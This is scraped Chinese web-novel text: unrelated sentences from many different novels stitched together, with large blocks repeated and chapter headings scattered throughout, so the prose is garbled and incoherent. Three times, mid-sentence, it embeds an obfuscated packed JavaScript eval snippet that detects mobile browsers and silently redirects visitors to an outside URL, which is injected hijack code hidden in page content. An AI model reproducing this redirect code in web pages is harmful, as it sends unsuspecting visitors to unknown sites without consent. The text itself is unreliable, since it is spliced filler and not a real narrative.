凤韶惊魂未定,静佳轻轻拍着他的背替他顺气,念念则若有所思地看向凤煜。 穆西风此刻彻底的愣在了原地,脑中一副画面突然一闪,曾几何时,一道柔弱的身躯不也是这样挡在自己的身前吗? 猛的,龙云风两手一动,狂喝了一声,突然间身前凝现出了一道血色长龙,意剑为形,血龙的攻势也变得尤为凶悍。 “阿姨,我没事的,献血而已,又不是什么大事。”她确实没把这当作一回事。 冯媛媛脸色苍白,高浩天打电话约她的时候,她还满心欢喜,没想到听到的居然是这句话。 杰瑞说的对,他只能等,除此之外他没有任何别的办法。他已经找遍了这个城市所有的宾馆饭店,凡是可能找到童恩的地方他都找过了,现在,他只有等,等着童**找他,但是,她会来吗? 此刻穆西风霸体之芒闪现,完全无视那些刮骨罡风。话说在鸿蒙霸体的状态下穆西风在仙人位面的罡风内都能停留十几个呼吸,此刻青龙界这点凡人位面罡风,根本对穆西风造不成一点伤害。 在这之前,众人还是心头惴惴,不知李云何事召集大家到此,现在听到李云要寻找魔域钥匙,都暗中松了口气。但随即,众人的脸上又升起疑惑的表情。 裴朗如看看李停杯又看看景阳有些无奈和叹息,摇了摇头站在原地没有动作。 她这个实力中等偏下的徒弟,竟然活了下来,不仅没有任何的事情,实力反而还提升了不少。 至于白马拉着的马车,也是一车纯白,在一些边框处有一些金色的装饰,看着那种色泽,可能是纯金打造的装饰。 “不追加了,我今晚只带了五千金到这来,已无力追加。”白衣少年面容白皙,神采奕奕,不慌不忙地说道。 摇摇头,用冷水怕拍自己的脸,告诉自己没有事情的,就开始洗澡了。 林楠本能的捂着自己的脸,韩佳人看着他张董事有些颤抖的手,明明在林楠进来之前,他还说要找林 楠好好说说的,怎么还没有说话,就直接给了一个耳光呢。 左想想右想想还是想不到,她到底是得罪了谁,竟然会想要杀死她。 第二天一大早郑炎悠悠醒来,有点冷,看到郑楠珠还盘腿端坐,篝火早已经熄灭,外面似乎有些亮堂,便起身走了出去。 幸好水澹静没有刨根问底的意思,转头揪住徒弟耳朵稍微用力扯了扯,余修贤这才醒来,看到打扰自己休息的竟然是师父,顿时满脸羞红,起身有些不知所措。 顾玲儿被龙鳞飞一瞪,突然没有了底气,好似自己做错了什么事似的,吞吞吐吐的连话都说不清了。 我喊了一句马上,冷美人就说让我赶紧出去!可是我脑袋也大了,怎会轻易的就放过这个机会呢!? 若是杨戬真的说出了他喜欢的是谁,孔宣也只有让赵公明或者是羽翼仙去说媒了,他,还是算了吧。 不过此刻,已经顾不了那么多了,就算这火焰古怪,也无法救他,诡异的波纹,天元气涌入,天将强者能够把天元气实质,而这样,就能够把元技的威力扩大话。 可是令顾玲儿想不到的是,自从她的那个同学在自己的名下为自己买了一份保险之后,她的工作特别顺利,业绩呈直线上升,直到做到业务总经理的位置。 那矮子一听到冷美人放话让他走了,立马就转身就走,我还在他后面依旧的嚣张道:“你tmd再动我老婆,你看我不把你的腿给你打折!”那矮子就和那两男的头都不敢回的就走了。 在车上,冷美人就和沈依依一直聊,说了一些我偶尔有听过的人的名字,但是具体也是不了解,不过两人的关系还算是瞬间升温了起来,一说到xxx,就都是对其抱有相同的印象和态度。 听到这句话的时候,顾玲儿突然瞪大了眸子,她简直要晕了,看来这个大少爷注定是要自己失望了。还明白什么,连猪都能够明白的道理,为什么他就不明白呢? “为什么?为什么你要如此残忍?为什么要杀掉他的伙伴,他现在一定很难过,也一定很痛恨我了,我不想的、我、、”镜中人影喃喃道。 冰龙看似随意的挥出的一爪可是那劲气竟然有种撕裂空气的趋势。 邪风刚把邪执的身形停了下来,邪昀的身体如同炮弹一般砸到邪执的身体上,三人紧挨着在地面上涂了千余米才缓缓了停了下来。 起先处于礼貌,她沒有问,可这都七点多了,就算吃得再晚的人家也应该动筷子了吧。 把梦梦送回学校因为她打算今天继续逛街,这个我很无语也很幸运。幸运的是我今天有事情要办不用陪她逛街了。 这是顾永峰警惕的原因,也是他一头雾水的另一个原因。隐隐地顾永峰像是明白了。 到了公司,千期月精神还是不大好,软绵绵的走下来,在软绵绵的进电梯,无暇听那些叽叽喳喳谈论八卦的声音,她把自己靠在电梯壁上,迫切的想要再睡一觉,或者说她现在神智清楚但就是控制不住的想睡觉。 难道自己以后只能过这种依靠药物维持的生活了吗?该怎么和Master解释呢?一旦李子孝**自己也就会在第二天登上报纸的丑闻,为了自己只能尽最大努力使李子孝活下去。 地冥也是没得办法,人在战斗身不由己,现在战斗的节奏已经被天炬所掌控,为了在接下来争取更多的战斗主动,他也只能跟上天炬,一点一点的脱离开祭神坛。 楠好好说说的,怎么还没有说话,就直接给了一个耳光呢。 左想想右想想还是想不到,她到底是得罪了谁,竟然会想要杀死她。 第二天一大早郑炎悠悠醒来,有点冷,看到郑楠珠还盘腿端坐,篝火早已经熄灭,外面似乎有些亮堂,便起身走了出去。 幸好水澹静没有刨根问底的意思,转头揪住徒弟耳朵稍微用力扯了扯,余修贤这才醒来,看到打扰自己休息的竟然是师父,顿时满脸羞红,起身有些不知所措。 顾玲儿被龙鳞飞一瞪,突然没有了底气,好似自己做错了什么事似的,吞吞吐吐的连话都说不清了。 我喊了一句马上,冷美人就说让我赶紧出去!可是我脑袋也大了,怎会轻易的就放过这个机会呢!? 若是杨戬真的说出了他喜欢的是谁,孔宣也只有让赵公明或者是羽翼仙去说媒了,他,还是算了吧。 不过此刻,已经顾不了那么多了,就算这火焰古怪,也无法救他,诡异的波纹,天元气涌入,天将强者能够把天元气实质,而这样,就能够把元技的威力扩大话。 可是令顾玲儿想不到的是,自从她的那个同学在自己的名下为自己买了一份保险之后,她的工作特别顺利,业绩呈直线上升,直到做到业务总经理的位置。 那矮子一听到冷美人放话让他走了,立马就转身就走,我还在他后面依旧的嚣张道:“你tmd再动我老婆,你看我不把你的腿给你打折!”那矮子就和那两男的头都不敢回的就走了。 在车上,冷美人就和沈依依一直聊,说了一些我偶尔有听过的人的名字,但是具体也是不了解,不过两人的关系还算是瞬间升温了起来,一说到xxx,就都是对其抱有相同的印象和态度。 听到这句话的时候,顾玲儿突然瞪大了眸子,她简直要晕了,看来这个大少爷注定是要自己失望了。还明白什么,连猪都能够明白的道理,为什么他就不明白呢? “为什么?为什么你要如此残忍?为什么要杀掉他的伙伴,他现在一定很难过,也一定很痛恨我了,我不想的、我、、”镜中人影喃喃道。 冰龙看似随意的挥出的一爪可是那劲气竟然有种撕裂空气的趋势。 邪风刚把邪执的身形停了下来,邪昀的身体如同炮弹一般砸到邪执的身体上,三人紧挨着在地面上涂了千余米才缓缓了停了下来。 起先处于礼貌,她沒有问,可这都七点多了,就算吃得再晚的人家也应该动筷子了吧。 把梦梦送回学校因为她打算今天继续逛街,这个我很无语也很幸运。幸运的是我今天有事情要办不用陪她逛街了。 这是顾永峰警惕的原因,也是他一头雾水的另一个原因。隐隐地顾永峰像是明白了。 到了公司,千期月精神还是不大好,软绵绵的走下来,在软绵绵的进电梯,无暇听那些叽叽喳喳谈论八卦的声音,她把自己靠在电梯壁上,迫切的想要再睡一觉,或者说她现在神智清楚但就是控制不住的想睡觉。 难道自己以后只能过这种依靠药物维持的生活了吗?该怎么和Master解释呢?一旦李子孝**自己也就会在第二天登上报纸的丑闻,为了自己只能尽最大努力使李子孝活下去。 地冥也是没得办法,人在战斗身不由己,现在战斗的节奏已经被天炬所掌控,为了在接下来争取更多的战斗主动,他也只能跟上天炬,一点一点的脱离开祭神坛。 楠好好说说的,怎么还没有说话,就直接给了一个耳光呢。 左想想右想想还是想不到,她到底是得罪了谁,竟然会想要杀死她。 第二天一大早郑炎悠悠醒来,有点冷,看到郑楠珠还盘腿端坐,篝火早已经熄灭,外面似乎有些亮堂,便起身走了出去。 幸好水澹静没有刨根问底的意思,转头揪住徒弟耳朵稍微用力扯了扯,余修贤这才醒来,看到打扰自己休息的竟然是师父,顿时满脸羞红,起身有些不知所措。 顾玲儿被龙鳞飞一瞪,突然没有了底气,好似自己做错了什么事似的,吞吞吐吐的连话都说不清了。 我喊了一句马上,冷美人就说让我赶紧出去!可是我脑袋也大了,怎会轻易的就放过这个机会呢!? 若是杨戬真的说出了他喜欢的是谁,孔宣也只有让赵公明或者是羽翼仙去说媒了,他,还是算了吧。 不过此刻,已经顾不了那么多了,就算这火焰古怪,也无法救他,诡异的波纹,天元气涌入,天将强者能够把天元气实质,而这样,就能够把元技的威力扩大话。 可是令顾玲儿想不到的是,自从她的那个同学在自己的名下为自己买了一份保险之后,她的工作特别顺利,业绩呈直线上升,直到做到业务总经理的位置。 那矮子一听到冷美人放话让他走了,立马就转身就走,我还在他后面依旧的嚣张道:“你tmd再动我老婆,你看我不把你的腿给你打折!”那矮子就和那两男的头都不敢回的就走了。 在车上,冷美人就和沈依依一直聊,说了一些我偶尔有听过的人的名字,但是具体也是不了解,不过两人的关系还算是瞬间升温了起来,一说到xxx,就都是对其抱有相同的印象和态度。 听到这句话的时候,顾玲儿突然瞪大了眸子,她简直要晕了,看来这个大少爷注定是要自己失望了。还明白什么,连猪都能够明白的道理,为什么他就不明白呢? “为什么?为什么你要如此残忍?为什么要杀掉他的伙伴,他现在一定很难过,也一定很痛恨我了,我不想的、我、、”镜中人影喃喃道。 冰龙看似随意的挥出的一爪可是那劲气竟然有种撕裂空气的趋势。 邪风刚把邪执的身形停了下来,邪昀的身体如同炮弹一般砸到邪执的身体上,三人紧挨着在地面上涂了千余米才缓缓了停了下来。 起先处于礼貌,她沒有问,可这都七点多了,就算吃得再晚的人家也应该动筷子了吧。 把梦梦送回学校因为她打算今天继续逛街,这个我很无语也很幸运。幸运的是我今天有事情要办不用陪她逛街了。 这是顾永峰警惕的原因,也是他一头雾水的另一个原因。隐隐地顾永峰像是明白了。 到了公司,千期月精神还是不大好,软绵绵的走下来,在软绵绵的进电梯,无暇听那些叽叽喳喳谈论八卦的声音,她把自己靠在电梯壁上,迫切的想要再睡一觉,或者说她现在神智清楚但就是控制不住的想睡觉。 难道自己以后只能过这种依靠药物维持的生活了吗?该怎么和Master解释呢?一旦李子孝**自己也就会在第二天登上报纸的丑闻,为了自己只能尽最大努力使李子孝活下去。 地冥也是没得办法,人在战斗身不由己,现在战斗的节奏已经被天炬所掌控,为了在接下来争取更多的战斗主动,他也只能跟上天炬,一点一点的脱离开祭神坛。 楠好好说说的,怎么还没有说话,就直接给了一个耳光呢。 左想想右想想还是想不到,她到底是得罪了谁,竟然会想要杀死她。 第二天一大早郑炎悠悠醒来,有点冷,看到郑楠珠还盘腿端坐,篝火早已经熄灭,外面似乎有些亮堂,便起身走了出去。 幸好水澹静没有刨根问底的意思,转头揪住徒弟耳朵稍微用力扯了扯,余修贤这才醒来,看到打扰自己休息的竟然是师父,顿时满脸羞红,起身有些不知所措。 顾玲儿被龙鳞飞一瞪,突然没有了底气,好似自己做错了什么事似的,吞吞吐吐的连话都说不清了。 我喊了一句马上,冷美人就说让我赶紧出去!可是我脑袋也大了,怎会轻易的就放过这个机会呢!? 若是杨戬真的说出了他喜欢的是谁,孔宣也只有让赵公明或者是羽翼仙去说媒了,他,还是算了吧。 不过此刻,已经顾不了那么多了,就算这火焰古怪,也无法救他,诡异的波纹,天元气涌入,天将强者能够把天元气实质,而这样,就能够把元技的威力扩大话。 可是令顾玲儿想不到的是,自从她的那个同学在自己的名下为自己买了一份保险之后,她的工作特别顺利,业绩呈直线上升,直到做到业务总经理的位置。 那矮子一听到冷美人放话让他走了,立马就转身就走,我还在他后面依旧的嚣张道:“你tmd再动我老婆,你看我不把你的腿给你打折!”那矮子就和那两男的头都不敢回的就走了。 在车上,冷美人就和沈依依一直聊,说了一些我偶尔有听过的人的名字,但是具体也是不了解,不过两人的关系还算是瞬间升温了起来,一说到xxx,就都是对其抱有相同的印象和态度。 听到这句话的时候,顾玲儿突然瞪大了眸子,她简直要晕了,看来这个大少爷注定是要自己失望了。还明白什么,连猪都能够明白的道理,为什么他就不明白呢? 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若是杨戬真的说出了他喜欢的是谁,孔宣也只有让赵公明或者是羽翼仙去说媒了,他,还是算了吧。 不过此刻,已经顾不了那么多了,就算这火焰古怪,也无法救他,诡异的波纹,天元气涌入,天将强者能够把天元气实质,而这样,就能够把元技的威力扩大话。 可是令顾玲儿想不到的是,自从她的那个同学在自己的名下为自己买了一份保险之后,她的工作特别顺利,业绩呈直线上升,直到做到业务总经理的位置。 那矮子一听到冷美人放话让他走了,立马就转身就走,我还在他后面依旧的嚣张道:“你tmd再动我老婆,你看我不把你的腿给你打折!”那矮子就和那两男的头都不敢回的就走了。 在车上,冷美人就和沈依依一直聊,说了一些我偶尔有听过的人的名字,但是具体也是不了解,不过两人的关系还算是瞬间升温了起来,一说到xxx,就都是对其抱有相同的印象和态度。 听到这句话的时候,顾玲儿突然瞪大了眸子,她简直要晕了,看来这个大少爷注定是要自己失望了。还明白什么,连猪都能够明白的道理,为什么他就不明白呢? “为什么?为什么你要如此残忍?为什么要杀掉他的伙伴,他现在一定很难过,也一定很痛恨我了,我不想的、我、、”镜中人影喃喃道。 冰龙看似随意的挥出的一爪可是那劲气竟然有种撕裂空气的趋势。 邪风刚把邪执的身形停了下来,邪昀的身体如同炮弹一般砸到邪执的身体上,三人紧挨着在地面上涂了千余米才缓缓了停了下来。 起先处于礼貌,她沒有问,可这都七点多了,就算吃得再晚的人家也应该动筷子了吧。 把梦梦送回学校因为她打算今天继续逛街,这个我很无语也很幸运。幸运的是我今天有事情要办不用陪她逛街了。 这是顾永峰警惕的原因,也是他一头雾水的另一个原因。隐隐地顾永峰像是明白了。 到了公司,千期月精神还是不大好,软绵绵的走下来,在软绵绵的进电梯,无暇听那些叽叽喳喳谈论八卦的声音,她把自己靠在电梯壁上,迫切的想要再睡一觉,或者说她现在神智清楚但就是控制不住的想睡觉。 难道自己以后只能过这种依靠药物维持的生活了吗?该怎么和Master解释呢?一旦李子孝**自己也就会在第二天登上报纸的丑闻,为了自己只能尽最大努力使李子孝活下去。 地冥也是没得办法,人在战斗身不由己,现在战斗的节奏已经被天炬所掌控,为了在接下来争取更多的战斗主动,他也只能跟上天炬,一点一点的脱离开祭神坛。 第一卷 第157章 亲朕一下总可以吧? 在简薇说出这番话后我不禁怀疑她那娇弱的身躯里是否有这样的能量除了推进路酷这个公司占领旅游市场现在又要培植自己的广告公司涉猎传媒行业这商业企图简直是我所不能想象的。 五万多联军俘虏数量远远超过了荥阳的西凉军和并州军的总和已经构成一种威胁。 尚少杰不屑的看着江佩琪说道对于江佩琪的情况他是别说都清楚在家里憋屈了这几天。今天好不容易能出来走走没有想到竟然在这里碰到他们真的是连老天爷都是帮助他。 尔后朱暇盘膝坐在虚空从丹田中释放出一股轩辕之力融入自己的骨骼之中以激发轩辕血。 蔡邕并不喜欢整日的风花雪月故而听董俷这么一说不免感到很不舒服。 简薇点了点头没有再叮嘱什么便转身离去而我却因为身边忽然少了个说话的人而有些空虚索性随着购物的人潮逛起了商场想看看有没有什么合适的商品明天送给乐瑶作为她的结婚礼物。 “永垂不朽!辉煌永固!……永垂不朽辉煌永固!”紧接着百万男儿的高喊似乎连九霄青云也为之颤然大地也为之震动。 目送着他们进入冰封谷林东并没有马上离开而是等了片刻等到护卫来说他们已经平安进入之后这才转身离去。 因为众多流民**在阳周围。势必会对整个司隶地区造成很大地影响。薰俷在和羊续、法衍相商之后拟出了他自立门户之后的第一份奏折以解决这种状况。 而这还只是前兆紧随着一波一波的音浪在前方传递出来杂乱无章就好像是一个不会弹琴的猴子抱着一具琴在那里疯狂的乱弹着偏偏这具琴还能发出可以造成物理效果的音刃那感觉简直是比酒下**还要难受。 只是这台长没有想到的便是宏盛集团怎么可能会是他料想当中的那么简单呢。 “哼现在就这样了 苏莫单手拄着拐杖单手活动行动并不是十分方便他想给风影开醋瓶拧了半天没拧开最后用了牙齿。 大量的金光从他的身后升腾出来化作了一尊十丈高的巨大虚影强悍的气势从东皇斗魂的虚影散发出来。 他不能在此刻表现出过多憎恨李采默的行为更不会不听唐婕的请求除非他想失去这一切。 他知道常远剑法离开,所以,他就是要不断的近身,和常远打近身战。 蓝无忧迫不及待想要逃离,却在拉开病房门的那一刹那被人拦住。 气势汹汹的关沐兮刚走到门口就看到慕凡唇角挂着笑意店门走出来。 她问出了众人的心声,**们期待的看着皇,不由的屏住呼吸。连李佩云都懒得顾了。 即便楚天远进了浴室,季心音的思绪还没从他刚才的行为中回过神。 掷弹筒是概略瞄准,**士兵训练水平远不如日军,很难实现单发命中,但打击面目标还是一个不错选择。 将这五个鬼押到封门第一鬼村,考核—下。年终不及格,投入十八层地狱永不超生。 直觉后背危险来临,孤雨一个疾步转身,扬起灵剑当下了那一把泛着剧毒的**。 其实只是一阵风,无聊到死,老土到死,梦如人生?人生如梦!天地三界有谁共鸣?夜阑静!问有谁今夜再度无眠? 尹才依旧是面无表情地看着王鹏,年柏杨则微微颔首示意王 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15461343|167106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鹏说下去。 韩水儿吃力的从床上下来,一步一步艰难的移动到门的附近,正在她打算开门的时候,门被人从外面打开了。 当然,其中也有人认出于心远的:这不是行署**局刑侦队的于队长吗!这帮不知死活的街头垃圾,今天终于要吃苦头了!他们内心在强烈期待着于心远能秉公执法、惩恶扬善。 李南也被这陡然的一幕吓到了,按理来说,他们已经与医院上面的人打过招呼了,是不可能出现停电状况的,但是眼前这场景,分明是有意外发生。 光明映照在每一张充满泪水和喜悦的国民脸上。连一些简陋窝棚里的难民,都在兴奋地讨论该如何返乡。 经过上一次搭梯爬城之事,四模今天选择的是用战坳把大军以抛物的方法一个又一个的送上城楼,而同时又让投石车投石攻城。 他们几人太相信念珠之中有秘密了,以至于他们几近疯狂的程度也要得到那串念珠。 “没错,但我也要谢谢你,当时你要不是把我当成朋友,我也不会找到我的家人,可是随后就要**,林媚娩你感受过知道家人在哪同时又要知道他们要被自己的主人杀掉那种痛苦吗?”紫苏终于说完埋藏心里多年的话。 “你把我引到这里,到底为了什么事?”晴方轻松的问道,一点没有生气。 一声暴喝,赵言将丹田内仅剩的玄力全数运转开来,然后疯狂涌入手里的鎏金锤内。 无茗脸上的表情被浅笑所取代,义无反顾的向前走,最后消失在晓峰的视线里。晓峰没有追她,只是静静地目送她,她的背影是那样的令人悲伤,好像是千年的冰山,永远无法融化。 第一卷 第158章 别哭,都过去了 而寝室里的其他人,目送这袁阿婆和夏玉瑜的离开,心中微微有一些期待。因为她们知道,过了今晚,或许一切就该有结果了。 众**哗,只见灵光散去,一只雪白的灵狐出现在了众人眼前,那灵狐钟灵毓秀、周身灵气升腾,特别是一双灵动的狐眸,仿佛会说话般透出丝丝恐惧与难过。 “算了吧,我们还要受领猎杀者协会的任务,提升实力,在这里做这种高端的工作,是不可能提升实力的。何熙摇了摇头说道。 罗卿月这一直都在以为龙云说出来这句话是装的目的就是要装给自己看以及鬼狄樱和白玲心看。 我可是自己辛辛苦苦打拼了十几年才收集来的这些东西,一夜之间居然就这的没了。 李浩之前已经回答了很多的“有,她以为龙云这句话接着前面还让自己回答有好让自己中了龙云的奸计,于是李昊回答道没有。 三联盟也知道其中的道理,所以他们之前一直没有进攻城区,而是优先进攻其他地区,尤其是军事基地和堡垒。 北冥雪就感觉自己睡了一觉,在梦里他看见了龙云,还有四大家族的其余三位,大家一起生活了很长的时间,北冥雪看到自己长大以后的模样以及龙云和自己周围朋友长大的模样。 “诶,你敷错地方了,药膏要抹在伤口上才有效。见到路凡往手臂上涂抹,傅青叶连忙道。 吴永洲在高三的时候跟同学打架,被学校开除了学籍,自此两人不再相见。 特别现在你又掺杂了那么多的黑巫术,这都会影响你修为的纯正。只要你愿意一心向善,我可以以佛道之法修正你现在这身亦正亦邪的功力,助你一臂之力。不然,功亏一篑,悔之晚矣。 “九重还虚境,这样真的够了吗?屠百灵有些无法相信,连她父亲都难以应付的敌人,又岂是这般简单。 或许,自从在窦围子村遇见凤火娘之后,命运之舟就开始更改了最初的方向,这一切谁知道呢? 黑豹虽然在道上挺有名,但这件事情却被林瑶高层掩盖了起来,是以,他根本就没打听到什么有用的消息。 至于宇天以前的那些狐朋**,他早就与他们断绝了交往,请他们,根本不可能。 “我跟他不熟,他的事你们别问我,我没空理。徐永久被戴煦问到,略显冷淡的抬眼看了看他,然后就垂下眼睛去继续 看手里的教材了,一副不想再被打扰,不想开口说话的样子。 “对了,臭无赖,你去豪林大厦做什么?有熟人在那里上班吗?豪林集团可是燕京刘家的产业。”颜巧看着倒车镜里硕大的豪林集团的招牌,不解的问道。 月陌尘扫了两人一眼,便知道,这两人必然就是方桐口中的那两个老不**,对方已经将绝修练到了极高的境界,如果不是肉眼可见,月陌尘绝对不能发现竟然有两人一左一右守在门后。 随着体内的生命能量被一一炼化,叶风的精神力已经积累了不少的数量,只是精神力终究是精神力,在灵魂没能迈出那一步之前,是无法转化成精神力本源。 这一刻,新一轮夺宝大会即将开始,他们却发现口袋空了,还有比这更悲惨的事情?这些人似乎意识到了不对。 原本没什么人的街道忽然出现这些人,各个都是二次、三次跃迁,纵然和现在的他相比弱了些,但这些人的出现,本身就是一个讯号。 卢卡点了点头,把火把弄灭了丢在一旁,然后才扶起阿维,慢慢往驻扎的营地靠近。 仿佛过了一个世纪,直到一阵寒风吹过,回过神来的人们看着眼前的一幕,瞪大了眼睛。 “我说,咱们这组推选 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15461344|167106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出一个组长吧!我看就我吧,也不需要动武了。”一个黑胖汉子率先发言道,两拳相击震得咯吱作响,那体型相当魁梧,跟侯镇山不相上下。 唐紫寒的身形猛然出现,林羽瞳孔皱缩,没有任何办法了,唐紫寒没有留情,将剑举起从空中落下,就要刺向林羽。 从开始到现在,最强大的也就是刚才被田不二击败的那个气海境四重天之人。这让王琳很疑惑。 “基地长不允许开枪。”听他碎碎念了好久,修明避重就轻地回答了一句。 等到众人醒过来的时候,才发现竟然已经回到了古堡,不得不说,空羽流云的速度真是太恐怖了,大家不仅得到了休息,还节省了返程的时间,无论是身体还是心理都是很舒爽的。 叶舟和黄辰深深地望了一眼沈沉,都没有说话,而其他人,则是重重地点了点头。 紧接着,唐梦颖则是跟李欢欢聊了起来,这些妹子们聊得东西,林奕也听不太明白,不过瞧见她们聊得挺开心的,当即也懒得多管。 此时,淡然的陆远桥正咬牙切齿的盯着屏幕看,眼神里面满满的都是不悦的味道,好像别人只要依靠经,就会被陆远桥给一脚踢开一样的。 在侦探社赖了一个礼拜,等到校长厚着脸皮打电话来催促时,这家伙才懒洋洋的订了机票动身前往鼻城。 辰东更是准备了不少好酒,配着这些好菜,那叫一个舒坦,一边吃一边感叹。 在李天辰的操纵之下,那十多种力量在他身前变化出各种形状,火种、水球、冰芒、雷光……等等。 一开始的时候,云霜还看得特别兴奋,但这毕竟是一个很麻烦的工程,比较浪费时间,因此,云霜在简单的兴奋之后,便觉得无聊了,找了块干净的石头,坐着玩手机,并且还拍了个照,看上去似乎是准备发朋友圈什么的。 第一卷 第159章 谁都心疼,唯独不心疼他 “什么事?” 他们从外面走近来的时候,就已经看到了不下于十次的这种事情,其中有好几次都是因为摊位上的东西而发生冲突的,买家不满卖家的价格,然后在见到卖家修为不算很强后,便是直接出**夺,双方都是打得不可开交。 “所以我一直倾向于直接动兵,一口吞了他,只要计划妥当,一击得手,应当能保持抚远不乱。”慕容宏击掌大呼道。 该生拥有天才的能量学术知识与潜力,强烈推荐进入魔能学术高等学校分系深造。 当然现在他们也没有想到,此时以为没什么用的仙功,到了后期是多么的抢手。。。 “元朴!”慕容宏脱口而出,对于江浩坤麾下的重要人物,慕容宏是一清二楚。 “太嚣张了他们,要不咱们派人到强哥的微博清清场吧?”又有一个欧志强的粉丝建议到。看到欧志强的微博被水军占领了,不少粉丝有些心疼。只是势单力孤,他们顶不住。 看着咖啡屋里宾客如潮,正在做服务生招待顾客的六个妹子笑得眼睛都看不见了,这可是真正的自己的产业呢!做起服务生来分外卖力。 丈夫林森就在北京这一亩三分地打拼,多了解这方面的信息总是好的。 “仙国大军事指挥学院的学生们的进度太慢了!”玉帝表情极其严肃。 唐谨言和全宝蓝一起起立,一个斜向下45度,一个斜向上45度,对视了一眼,好像有什么电光噼里啪啦地闪过,然后同时傲娇地“哼”了一声,并肩走向训练室。 片刻,大殿终于抵挡不住蔓延的冲击波,整个千年大殿开始迅速瓦解倒塌。 再换个灰蒙的地方,却不是灵气,只有她血液,**起来的才是灵体。 他们一家的行李都放在了游轮上,旅馆里只储存了少量行李,再加上他们紧张的情绪,早早就收拾好了一切,迅速跟着南宫清、诸伏景光行动。 片刻,陈立又有些释然了。幕后有没有人操控对于现在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15461345|167106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的陈立来说太过遥远。 在司机惊人的言论中,两位警员互看一眼,便摇摇头分工处置,前者继续保持安抚与开解,而后者则开始向指挥中心报告伤者的身体情况以及现场灾情,以请求增援与封锁。 几牌下来,众人彻底听懂了规则。又打了很多牌,他们发现夏蓁蓁是不是运气太好了点,即使是明着打牌,他们也打不过这个千岁夫人。 驻扎在舒城的虎部首领是一个大腹便便,壮如牛一般,还留着八字胡和髯须的屠夫出身,曾经是草原屠宰场场主,叫塔塔尔·古斯,擅使长斧。 而且,上次楚风交给她的名单,她已经派大理寺和刑部的人下去清查,如今这半年下来,已经清算的差不多了,还有楚风的新法,在大乾的推行得效果显著。 于是西蒙在出发之前,特意嘱咐米勒带一队民兵去朗格的伐木场买一批木料,修补村墙。 他已经木讷了,心中满是懊悔。他昨晚应该察觉出来她的反常才是。 第一卷 第160章 杀了沈长安她才能真正死心 按照南方风俗公司成立的时候要摆上三牲祭品还要请来关二爷坐镇风水好了生意才能兴旺发达。 眼神死死的盯着魁梧汉子孙潜喘着沉重的气息擦拭了一下嘴角残留的血迹心中百思不得其解。自己是因为身上“龙魂之力”的蔓延而增强的力量而对方呢? “不错。刚才我跟踪那辆面包车可是在途中出现了好几辆一模一样的面包车而我堵截了一辆那人就是血刹帮的人。”孙潜解释道。 本来只是下意识的一个动作郑辰却发现流入自己体内的妖力速度变得缓慢起来一切都在他的掌控之中。 童时伟带着她参观了各个部门大家都很友好亲切地打招呼脸上挂满笑容。 他担心刘凡得知他逃跑之后派遣骑兵趁着夜色掩杀过来。那样的话就不妙了。 钟步林的嘴角勾起了一丝冷冷的笑容在他看来郑辰已经被熊熊的烈火烧成了灰他这个剑阵一秒钟的火势足以将一方土地烧得一切荒芜。 祁心雅拉开右边的衣柜!果然里面全都是现在的新款虽然并不多毕竟祁母现在也不知道祁心雅的审美原本是发打算好和祁心雅找个时间一起出去逛逛街的。 “看冯老板您说的今天只是兴致来了。所以来玩玩!”韩雅琪笑着说道。似乎已经对这个已经四十多岁保养的却很好的爷们还给点面子。 “ 但是就在叶风进入其中的时候身体移动所产生的微风却是横扫了整个房间将所有的东西都震碎了。 “听我说完可以吗?”关宸极的语调有丝丝的乞求就这么看着一动不动的顾萌。 凌炎对这样的场面显然也有些惊讶但仍旧保持着沉着冷静的态度眼眸瞬也不瞬的看着武场入口直到两抹风华绝代的身影同时从入口出现这才让人看清了他们的真面目。 “那这样吧我们月神宫放弃第一轮秘境开启的资格但是接下来我们需要叶风全力配合我们的秘境之行。如何?”一旁月神宫的代表突然提出这个建议。 所谓一力强十会其拳劲霸道异常可破世上诸多**曾经给罗刹国带来了诸多军功!此拳法唯有华夏皇室所修王道真龙气才能与之抗衡。 手持着七彩巨剑的太白神剑宗的最强师祖,没有丝毫的犹豫,直接在前方开路。在其身后,四大宗门所有强者紧随其后,而天邪王等邪族则施以秘法,分化出大量的拥有修为的分身。 “好了,他们应该被甩掉了。李师傅的技术还是不错的。”刘莹回身看看车窗外,后面已经没有什么车跟过来了。她对顾恋说道,表情有些可惜,如果跟过来了,自己顺便可以趁势多拍几张照片出镜。 “谁来找死!”侯镇山突然冲出船舱,举着双锤骂道,阿柴也是变换身形,四脚踏住卦象,恍如一头凶猛的黑虎,在那吼叫不已。 看见眼前出现的人影,塔兹米忍不住捂住了自己的嘴巴,他差一点没有直接呕吐出来。 